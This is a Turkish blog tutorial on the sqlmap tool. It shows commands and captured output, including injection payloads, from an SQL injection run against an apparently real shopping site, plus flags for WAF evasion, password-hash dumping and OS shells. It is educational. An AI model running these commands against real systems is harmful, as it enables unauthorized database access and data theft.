Get Even More Visitors To Your Blog, Upgrade To A Business Listing >>

sqlmap notlarım

sqlmap web servislerinde hatalı kodlanan SQL cümlelerini, cümleleri çalıştıran program kodlarındaki açıkları ve kullanılan veritabanı yönetim sistemindeki zafiyetleri kullanarak güvenlik açığı arayan açık kaynak kodlu bir araçtır (tüm yetenekler için tıklayın). Araç verilen URL üzerinde birçok türde SQL zafiyetini araştırarak veritabanı ve çalıştığı sistemi ele geçirmeye çalışır. Kısaca güvenlik hassasiyeti dikkate alınmadan kodlanmış veya yapılandırılmış veritabanı sistemlerinde açık arar, verileri ve işletim sistemini ele geçirmeyi sağlar. Örneğin kullanıcı bilgilerinin tutulduğu tablolar, mesajlaşma kayıtlarının tutulduğu tablolar, kredi kartı ve diğer finansal bilgilerin tutulduğu tablolar ve sunucu üstündeki diğer herhangi diğer dosyalar.

sqlmap’in tam destek verdiği veritabanı yönetim sistemleri şunlar:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso

sqlmap’in kontrol edebildiği güvenlik zafiyetleri (SQL injection teknikleri):

boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band

sqlmap bulduğu açık üzerinden, MySQL, PostgreSQL ve Microsoft SQL Server veritabanı kullanan sistemlerin dosya sistemine erişebilir ve shell komutu çalıştırarak çıktısını döndürebilir. Dosya sistemi üzerindeki herhangi bir dosyayı indirebilir veya yükleyebilir. Bir açık bulduğunuzda, bu açığı web shell yüklemek için kullanarak sunucunun dosya sistemine daha geniş perspektifli bir erişim sağlayabilirsiniz. sqlmap bulduğu güvenlik açığını bir tcp bağlantısı kurarak bu bağlantıyı meterpreter’a veya VNC’ye bağlayabilir.

sqlmap temel kullanım örnekleri

Bir web servisini taramak için bol parametreli bir URL tespit ediyoruz (-u) ve bu parametrelerin hangilerinin açık aramak için kullanılacağını belirtiyoruz (-p).

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL' -p 'beden0'

Eğer URL bir AJAX isteği için kullanılıyorsa ki genellikle POST metodu tercih edilir. Metodu ve açık aramak için kullanılacak parametreyi aşağıdaki gibi belirtin:

sqlmap -u 'https://www.alisverisitesi.com/satis/sepete_ekle_islem.asp' --data 'kitap_id=1' -p "kitap_id" --method=POST

Önceki taramaya geri dönecek olursak; tarama sonucunda bir zafiyet tespit edilirse araç aşağıdaki gibi ekran çıktısı verir ve tarama oturumuna ait veriyi kaydettiği dizinin yolunu görüntüler. Aynı URL’in tekrar taranması durumunda bu dizindeki verileri kullanacaktır.

[10:09:17] [INFO] resuming back-end DBMS 'mysql' 
[10:09:17] [INFO] testing connection to the target URL
got a 302 redirect to 'https://www.ozgesite.com/tr/kategori/40?beden0=M%7Ca%7C-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL'. Do you want to follow? [Y/n] 
you have not declared cookie(s), while server wants to set its own ('cross-site-cookie=bar;cross-site-cookie=bar;same-site-cookie=foo'). Do you want to use those [Y/n] 
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: beden0 (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: beden0=M|a|-L')) OR NOT 3256=3256#&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL

    Type: UNION query
    Title: Generic UNION query (NULL) - 80 columns
    Payload: beden0=M|a|-L')) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6a7171,0x487743625956684c504c6a78424e4847576a416344586a54476e52527a6b56674664416d636b596d,0x7162786271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL
---
[10:09:22] [INFO] the back-end DBMS is MySQL
/usr/lib/python3/dist-packages/pkg_resources/__init__.py:116: PkgResourcesDeprecationWarning: unknown is an invalid version and will not be supported in a future release
  warnings.warn(
web application technology: Nginx
back-end DBMS: MySQL unknown (MariaDB fork)
[10:09:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/www.m.ozgesite.com'

[*] ending @ 10:09:22 /2022-05-29/

Bu temel taramada sqlmap’in verdiği çıktıyı inceleyecek olursak veritabanının mysql olduğu ve beden0 adlı parametrenin blind-sql injection zafiyeti ile suistimal edildiği görülebilir. Ayrıca payload URL’i de bu çıktada yer alıyor.

Basit bir tarama

Eğer sqlmap verilen adreste bir güvenlik açığı tespit etmiş ise bu açık üzerinden ilerlenebilir. Önce -dbs parametresini ekleyerek mevcut kullanıcının görebileceği veritabanlarını adlarını alalım.

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL' -p 'beden0' --dbs --batch --risk=3 --level=5 --threads=5 --mobile

Bu komut bize veritabanlarını listeleyecek. İki veritabanı listelendi: information ve ozgesite_bellek.

sqlmap -u 'https://www.m.ozgesite.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL' -p 'beden0' --dbs --batch --risk=3 --level=5 --threads=5 --mobile -D 'ozgesite_bellek' -tables

Komutumuza bazı yeni parametreler ekledik. Bunların listesini sayfanın sonunda bulabilirsiniz. Özellikle –mobile parametresi önemli. Sitenin mobile için tasarlanmış bir başka versiyonu olabilir, genellikle css kodları değişse de kodlama ve SQL sorgularında da farklılıklar olabilir. Biz özellikle 302 ile redirect edilmemek ve mobile sürümde (www.m.ozgesite.com) kalmak için –mobile parametresini ekledik. Komutun sonunda kullandığımız -D (büyük D) ve -tables parametreleri ile tespit ettiğimiz veritabanına ait tabloları listeleyeceğiz. Komutumuzun çıktısında urunler adlı tablo geldi. Şimdi bu tablonun yapısını aşağıdaki komutla görüntüleyelim. -T parametresi ile urunler tablosunun adını belirtiyoruz.

sqlmap -u 'https://www.m.ozgeozgenc.com/tr/kategori/40?beden0=M'%7Ca%7C'-L&beden1=XS-S&beden2=L&beden3=M&beden4=S&beden5=STD&beden6=XS&beden7=XL&renk1=BYZ&renk10=YA%C4%9E&renk11=EKR&renk12=NAR&renk13=S%C4%B0YAH%20BEYA&renk2=CML&renk3=SKS&renk4=TRN&renk5=YSL&renk6=PMB&renk7=SYH&renk8=ORANJ&renk9=G%C3%9CL' -p 'beden0' --dbs --batch --risk=3 --level=5 --threads=5 --mobile -D 'ozgesite_bellek' -T 'urunler' --columns

HTTP başlığı (header)’nı giriş noktası olarak kullanmak

Programcılar genellikle kullanıcı girdisi olarak GET/POST/FILE gibi yollarla gelen verileri güvenilmez kabul eder ve kullanmadan önce güvenlik kontrollerini yapar. Halbuki istemci tarafından gelen cookie ve HTTP başlıkları gibi her tür veri işleme alınmadan önce gerekli güvenlik kontrolleri yapılmalıdır. Aşağıdaki komut HTTP header’ın parçası olan referer: verisini kullanarak bir tarama gerçekleştiriyor. Eğer bu komut başarılı şekilde suistimal edilebildiyse, muhtemelen programcı referer verisini filtreden geçirmeden bir SQL cümlesi içerisinde kullanmış demektir. Benzer şekilde; istemci taraftan gelen HTTP başlığında yer alan user-agent: verisi de SQL cümlesi içinde karşılaştırma yapmak için kullanılmış olabilir. Benzer bir diğer örnek de Host: satırıdır. Bu satır da bir saldırı için giriş noktası seçilebilir. –level değeri 5 olarak verilirse bu paragrafta sözü geçen tüm denemeler sqlmap tarafından yapılacaktır.

sqlmap -u 'https://siteadresi.gov.tr/sayfa_80.php' --header="referer:*" --level=3 

header parametresine geçtiğimiz referer:* bu başlık satırının SQL injection için sınanacağını söyler. Varsayılan olarak level=3 ve üzerindeki değerlerde referer: değeri bir saldırı giriş noktası olarak kullanılır.

sqlmap için bazı kullanışlı parametreler

–batch : tarama sırasında (Y/N) soruları sorulması. sqlmap kendisi karar versin.

–tamper=space2comment : WAF (web uygulaması güvenlik duvarı) atlatmak için gerekli ayarları yapar.

–random-agent : WAF’u atlatmak için rasgele web browser agent’lar ile istek yapar. Örneğin firefox,chrome,safari vb.

–current-db : Halihazırda taranan uygulamanın kullandığı veritabanının ismini getirir.

–current-user : Halihazırda taranan uygulamanın kullandığı veritabanı kullanıcısının adını getirir.

–dbs : Verilen URL’i exploit edebildiyse sunucudaki veritabanı isimlerini listeler.

–users : Veritabanı kullanıcılarını listeler.

–passwords : Veritabanı kullanıcılarının parola hash’lerini listeler.

–privileges : Veritabanı kullanıcılarının yetkilerini listeler.

–roles : Veritabanı kullanıcılarının rollerini listeler.

–is-dba : Veritabanı kullanıcısının yönetici olup olmadığını görüntüler.

–dbms : Uygulamanın kullandığı veritabanı türünü belirterek tarama süresini azaltabilirsiniz.

–level : Varsayılan değeri 1’dir ,enfazla 5 olabilir.. Bir zafiyet bulunamadıysa artıtılır. Yükse değerler daha fazla giriş noktası ve türünün denenmesini sağlar. GET ve POST parametreleri herzaman test edilir, HTTP Cookie başlık değerleri 2. seviyeden test edilir ve HTTP User-Agent/Referer başlıklarının değeri 3. seviyede test edilir. Sonuç olarak, bir SQL enjeksiyonunu tespit etmek ne kadar zorsa, –level o kadar yüksek ayarlanmalıdır.

–risk : SQLmap’in yapacağı testlerin risk seviyesini belirler. Ençok 3’dür. Denemeler yapılırken veritabanının veya web uygulamasının çalışmasının etkilenme riski vardır. Varsayılan değer, SQL enjeksiyon noktalarının çoğu için zararsız olan 1’dir. Risk değeri 2, yoğun sorgu zamanına dayalı SQL enjeksiyonları için testleri varsayılan düzeye ekler ve değer 3, ayrıca VEYA tabanlı SQL enjeksiyon testlerini ekler. Bazı durumlarda, bir UPDATE deyimindeki SQL enjeksiyonu gibi, VEYA tabanlı bir yükün enjekte edilmesi, tablonun tüm girişlerinin güncellenmesine yol açabilir ve bu kesinlikle saldırganın istediği şey değildir.

–threads : sqlmap’in yapmasını izin verilen eş zamanlı istek sayısını tanımlar. Taramanın daha hızlı tamamlanmasını sağlarken test edilen sistemde aşırı yük oluşmasına neden olabilir. İzin verilen en fazla eş zamanlı istek sayısı 10’dur.

–file-read : Hedef sistemin dosya sisteminden bir dosya okur.

–file-write : Hedef sistemin dosya sistemine dosya yazar.

–sql-shell : Açık bulunan hedef sistem üzerinde güvenlik araştırmacısının SQL komutları çalıştırabilmesi için bir komut kabuğu açar.

–os-shell : Açık bulunan hedef sistem üzerinde güvenlik araştırmacısının sistem komutları çalıştırabilmesi için bir komut kabuğu açar. Bunu yapabilmesi için veritabanını çalıştıran prosesin yazma yetkisine sahip olduğu bir dizine ihtiyaç vardır. sqlmap tarafından bu dizine bir shell dosyası kopyalanır.. Bu dizinin yolu sqlmap tarafından sorulur. –batch parametresi ile çalıştırılıyorsa varsayılan dizinler denenir.

–os-cmd : Açık bulunan hedef sistem üzerinde güvenlik araştırmacısının bir sistem komutu çalıştırmasını ve çıktısını görmesini sağlar. –os-shell’de olduğu gibi yazma yetkisinin bulunduğu bir dizine ihtiyaç duyar.

–crawl : sqlmap’in hedef sistem üzerinde zafiyet içerme potansiyeline sahip URL’leri araştırmasını sağlar. Bu parametreye dizin derinlik miktarı verilir.

–mobile : Mobil bir hedefe yaptığımız saldırı, hedef tarafından uygun User-Agent’ı bulundurmadığımız için engellenebilir. Bu parametreyle sqlmap testlerini bir mobil client gibi tanıtıyoruz.

–dump : Veritabanı/tablonun tam dökümünü alır. -T,-D ve -C ile birlikte kullanılmalıdır. Dökümlerin kaydedildiği output dizini komutun icrası sonrasında ekranda görüntülenir.

Kaynaklar:

SQLMap özellikleri: https://github.com/sqlmapproject/sqlmap/wiki/Features

SQLMap kullanım örnekleri: https://github.com/sqlmapproject/sqlmap/wiki/Usage

Invicti SQLMap kullanımı: https://www.netsparker.com.tr/blog/web-guvenligi/ileri-seviye-sqlmap-kullanimi/

Önemli sqlmap parametreleri: https://resources.infosecinstitute.com/topic/important-sqlmap-commands/



This post first appeared on Tankado.com, please read the originial post: here

Share the post

sqlmap notlarım

×

Subscribe to Tankado.com

Get updates delivered right to your inbox!

Thank you for your subscription

×